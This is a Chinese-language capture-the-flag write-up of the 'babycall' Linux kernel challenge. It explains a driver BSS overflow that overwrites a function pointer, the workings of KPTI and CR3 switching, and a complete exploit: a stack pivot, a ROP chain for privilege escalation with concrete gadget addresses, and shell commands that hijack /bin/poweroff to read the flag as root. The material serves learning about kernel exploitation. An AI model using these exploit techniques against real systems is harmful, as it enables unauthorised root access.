题目是DASCTF2021年1月末联合HWS出的题,其中babycall有个以前没注意到的考点,下面以分析此题来探究如何绕过KPTI保护
题目分析
Qemu启动脚本
1
2
3
4
5
6
7
8
|
#!/bin/bash
qemu-system-x86_64 \
-s \
-initrd rootfs.img \
-kernel bzImage \
-append "console=ttyS0 root=/dev/sda rw nokaslr quiet" \
-monitor /dev/null -m 128M -nographic \
-cpu kvm64,+smep
|
开启以下保护
SMEP: 管理模式执行保护,保护内核是其不允许执行用户空间代码
而如何查看是否存在一些CPU保护呢?
通过 cat /sys/devices/system/cpu/vulnerabilities/* 命令查看vulnerabilities目录下存在的CPU漏洞
"Not affected" : 当前 CPU 不存在该漏洞
"Vulnerable" : 当前 CPU 存在该漏洞且未采取相应缓解措施
"Mitigation: $M": 当前 CPU 存在该漏洞但采取了相应缓解措施
1
2
3
4
5
6
7
|
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
|
可以发现当前内核其实开启了PTI保护的,以上面的命令查看即可知道,QEMU启动脚本不能查看到所有保护
babycall_ioctl
1
|
size_t babycall_ioctl(file *filp, unsigned int cmd, size_t user_ptr)
|
CMD == 0x10001 write_to_kernel
查看下汇编即可发现,调用了vul指针,而在babycall_init中,vul指针指向了writemsg函数,所以CMD=0x10001是调用writemsg函数,传入参数RDI可控为user_ptr
1
2
|
mov rax, cs:vuln
call __x86_indirect_thunk_rax // == call RAX
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
int writemsg(char *user_ptr)
{
ptr = src;
size = strlen(src);
if ( size <= 0x20 && src && *src )
{
Ptr = src;
num_address = key; // key[0] = 0x0F0E0E0B0D0A0E0Dh;
while ( 1 )
{
num = *num_address;
if ( !*num_address )
break;
++ptr;
++num_address;
if ( num != *(ptr - 1) && !*++Ptr )
return 0;
}
Size = size;
if ( (size_t)size > 0x20 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 8LL, size);
BUG();
}
_check_object_size(BSS_Ptr, size, 0LL);
copy_from_user(BSS_Ptr, Ptr, Size);
}
}
|
CMD == 0x10002 read_from_kernel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
if ( cmd == 0x10002 )
{
size = strnlen(BSS_Ptr, 0x20uLL);
Size = size;
if ( size > 0x20 )
{
fortify_panic("strnlen", 0x20LL);
}
else if ( size != 0x20 )
{
_check_object_size(BSS_Ptr, size, 1LL);
return copy_to_user(ptr, BSS_Ptr, Size);
}
fortify_panic("strlen", 0x20LL);
}
|
漏洞点
CMD == 0x10001中 copy_from_user(BSS_Ptr, Ptr, Size);,而在驱动BSS段上面
1
2
3
4
|
.bss:0000000000000780 ; char BSS_Ptr[8]
.bss:0000000000000780 BSS_Ptr
.bss:0000000000000788 ; int (*vuln)(char *)
.bss:0000000000000788 vuln
|
发现写入到BSS上的数据最长0x20个字节,可以覆盖vuln指针,之前有讲CMD == 0x10001时候,调用的是vuln函数指针,所以第一次ioctl交互可以修改BSS上vuln函数指针
About KPTI && Bypass KPTI
KPTI(Kernel PageTable Isolation,简称PTI)全称内核页表隔离,旨在更好地隔离用户空间与内核空间的内存来提高安全性,缓解现代x86 CPU中的"熔毁"硬件安全缺陷.
由于KPTI前身KAISER中,一个进程地址空间被分为内核地址空间和用户地址空间,内核地址空间映射到整个物理内存空间中,用户地址空间只能指定映射到相应的物理地址空间.内核地址空间和用户地址空间因为共用同一个页目录表,导致了meltdown漏洞,故KPTI在每一个进程中使用了两个页目录表,将用户地址空间和内核地址空间隔绝.
影子地址空间(ShadowAddressSpaces)
KPTI中每个进程有两个地址空间,第一个地址空间只能在内核态下访问,可以创建到内核和用户的映射(不过用户空间受SMAP和SMEP保护).第二个地址空间被称为影子地址空间,只包含用户空间.不过由于涉及到上下文切换,所以在影子地址空间中必须包含部分内核地址,用来建立到中断入口和出口的映射.
当中断在用户态发生时,涉及到切换CR3寄存器,从影子地址空间切换到用户态的地址空间.中断上半部的要求是尽可能的快,从而切换CR3这个操作也要求尽可能的快.为了达到这个目的,KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中.这段空间必须是8K对齐的,故CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作,提高了CR3切换的速度.

SYSCALL [ Kernel 4.19.164]
根据Intel SDM,syscall会将当前RIP存到RCX,然后将IA32_LSTAR加载到RIP.同时将IA32_STAR[47:32]加载到CS,IA32_STAR[47:32] + 8加载到 SS (在 GDT 中,SS 就跟在 CS 后面).
MSR IA32_LSTAR (MSR_LSTAR)和IA32_STAR (MSR_STAR)在arch/x86/kernel/cpu/common.c的syscall_init中初始化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
void syscall_init(void)
{
extern char _entry_trampoline[];
extern char entry_SYSCALL_64_trampoline[];
int cpu = smp_processor_id();
unsigned long SYSCALL64_entry_trampoline =
(unsigned long)get_cpu_entry_area(cpu)->entry_trampoline +
(entry_SYSCALL_64_trampoline - _entry_trampoline);
wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
if (static_cpu_has(X86_FEATURE_PTI))
wrmsrl(MSR_LSTAR, SYSCALL64_entry_trampoline);
else
wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
#ifdef CONFIG_IA32_EMULATION
wrmsrl(MSR_CSTAR, (unsigned long)entry_SYSCALL_compat);
/*
* This only works on Intel CPUs.
* On AMD CPUs these MSRs are 32-bit, CPU truncates MSR_IA32_SYSENTER_EIP.
* This does not cause SYSENTER to jump to the wrong location, because
* AMD doesn't allow SYSENTER in long mode (either 32- or 64-bit).
*/
wrmsrl_safe(MSR_IA32_SYSENTER_CS, (u64)__KERNEL_CS);
wrmsrl_safe(MSR_IA32_SYSENTER_ESP, (unsigned long)(cpu_entry_stack(cpu) + 1));
wrmsrl_safe(MSR_IA32_SYSENTER_EIP, (u64)entry_SYSENTER_compat);
#else
wrmsrl(MSR_CSTAR, (unsigned long)ignore_sysret);
wrmsrl_safe(MSR_IA32_SYSENTER_CS, (u64)GDT_ENTRY_INVALID_SEG);
wrmsrl_safe(MSR_IA32_SYSENTER_ESP, 0ULL);
wrmsrl_safe(MSR_IA32_SYSENTER_EIP, 0ULL);
#endif
/* Flags to clear on syscall */
wrmsrl(MSR_SYSCALL_MASK,
X86_EFLAGS_TF|X86_EFLAGS_DF|X86_EFLAGS_IF|
X86_EFLAGS_IOPL|X86_EFLAGS_AC|X86_EFLAGS_NT);
}
|
可以看到MSR_STAR的第32-47位设置为Kernel mode的 CS,第48-63位设置为User mode的 CS.而IA32_LSTAR被设置为函数entry_SYSCALL_64的起始地址.
于是 syscall 时,跳转到entry_SYSCALL_64开始执行,其定义在 arch/x86/entry/entry_64.S:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
ENTRY(entry_SYSCALL_64)
UNWIND_HINT_EMPTY
/*
* Interrupts are off on entry.
* We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON,
* it is too small to ever cause noticeable irq latency.
*/
swapgs
/*
* This path is only taken when PAGE_TABLE_ISOLATION is disabled so it
* is not required to switch CR3.
*/
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
GLOBAL(entry_SYSCALL_64_after_hwframe)
pushq %rax /* pt_regs->orig_ax */
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
TRACE_IRQS_OFF
/* IRQs are off. */
movq %rax, %rdi
movq %rsp, %rsi
call do_syscall_64 /* returns with IRQs disabled */
TRACE_IRQS_IRETQ /* we're about to change IF */
......
......
syscall_return_via_sysret:
/* rcx and r11 are already restored (see code above) */
POP_REGS pop_rdi=0 skip_r11rcx=1
/*
* Now all regs are restored except RSP and RDI.
* Save old stack pointer and switch to trampoline stack.
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY
pushq RSP-RDI(%rdi) /* RSP */
pushq (%rdi) /* RDI */
/*
* We are on the trampoline stack. All regs except RDI are live.
* We can do future final exit work right here.
*/
SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
popq %rdi
popq %rsp
USERGS_SYSRET64
END(entry_SYSCALL_64)
|
syscall不会保存栈指针,因此handler首先将当前用户态栈偏移RSP存到per-cpu变量rsp_scratch中,然后将per-cpu变量cpu_current_top_of_stack,即内核态的栈偏移加载到 RSP.
SYSCALL调用返回时调用SYSRET,存在SWITCH_TO_USER_CR3_STACK此宏定义
1
2
3
|
mov rdi, cr3
or rdi, 1000h
mov cr3, rdi
|
此处修改CR3的值则由内核态的PGD切换用户态对应的PGD
故可以利用此处这段gadget来控制CR3寄存器从而切换到用户态,也可以利用swapgs_restore_regs_and_return_to_usermode函数来进行修改CR3的值实现态的切换
利用
1.Bypass KPTI and ROP
因为可以控制BSS数据,所以第一次修改vuln函数指针,因为没有开启smap保护,配合xchg esp, ecx将内核栈迁移到用户态的数据段上
1
2
3
4
5
6
7
8
9
10
|
save_status();
int fd = open("/dev/babycall",O_RDONLY);
size_t key[8],i = 0;
memset((char*)key,0,0x20);
memset((char*)ROP,0,0x100);
key[0] = 0x0F0E0E0B0D0A0E0D;
key[1] = 0xFFFFFFFF81943495; // xchg esp, ecx; add eax, 0x5D010000; ret;
ioctl(fd,0x10001,&key[0]);
|
第二次调用,则会传入ROP,ROP此处是位于利用程序的BSS段上,因为没有开启SMAP保护,所以可以由内核栈迁移到用户态,首先利用prepare_kernel_cred和commit_creds提权,由于我没找到适合的mov rdi, rax的gadget,所以中间用了两个gadget组合来控制标志寄存器中zero flag位,然后绕过了jne 0x32A6FC提权后则利用swapgs_restore_regs_and_return_to_usermode从内核态切换到用户态,汇编如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop r11
pop r10
pop r9
pop r8
pop rax
pop rcx
pop rdx
pop rsi
mov rdi,rsp
mov rsp,QWORD PTR gs:0x5004
push QWORD PTR [rdi+0x30]
push QWORD PTR [rdi+0x28]
push QWORD PTR [rdi+0x20]
push QWORD PTR [rdi+0x18]
push QWORD PTR [rdi+0x10]
push QWORD PTR [rdi]
push rax
xchg ax,ax
mov rdi,cr3
jmp 0xFFFFFFFF81C00AA3
↓
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
nop dword ptr [rax]
jmp 0xFFFFFFFF81C00AE0
↓
test byte ptr [rsp + 0x20], 4
jne 0xFFFFFFFF81C00AE9
↓
iretq
|
最后iretq的条件在之前由RDI控制并压入栈中即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
ROP[i++] = 0xFFFFFFFF81026CAD; //pop rdi; ret
ROP[i++] = 0;
ROP[i++] = prepare_kernel_cred;
ROP[i++] = 0xFFFFFFFF8131422E; // pop rsi; ret;
ROP[i++] = 0;
ROP[i++] = 0xFFFFFFFF812A451A; //test rsi, rsi; jne 0x4a4520; ret;
ROP[i++] = 0xFFFFFFFF8112A71A; //mov rdi, rax; jne 0x32A6FC; pop rbp; ret;
ROP[i++] = 0;
ROP[i++] = commit_creds;
ROP[i++] = swapgs_restore_regs_and_return_to_usermode;
i = 24;
ROP[i++] = 0;
ROP[i++] = 0;
ROP[i++] = &get_shell;
ROP[i++] = user_cs;
ROP[i++] = user_rflags;
ROP[i++] = user_sp;
ROP[i++] = user_ss;
ioctl(fd,0x10001,&ROP[0]);
close(fd);
|
2.根目录权限控制不严的非预期
因为文件系统给了根目录的root权限,所以
chmod 777 . ..
mv bin BIN
/BIN/mkdir bin
/BIN/chmod 777 bin
/BIN/echo "/BIN/cat /flag" > /bin/poweroff
/BIN/chmod 777 /bin/poweroff
exit
因此可以通过修改/bin/目录下的文件,让文件系统里面init启动文件结束的时候以root权限将文件读取出来
知识点
- 开启KPTI保护后,由内核态切换到用户态,涉及到CR3寄存器的修改,可以由
swapgs_restore_regs_and_return_to_usermode函数修改CR3并返回到用户态
- 在未开启SMAP保护的时候,可以将内核栈的空间迁移到用户态中,若布置ROP在用户态,ROP链构造可以更加灵活
后记
对于SYSCALL调用还有点模糊,稍后补一补
“Reference”
[KERNEL PWN状态切换原理及KPTI绕过]
[KPTI补丁分析]
[Linux系统调用过程分析]
[附件]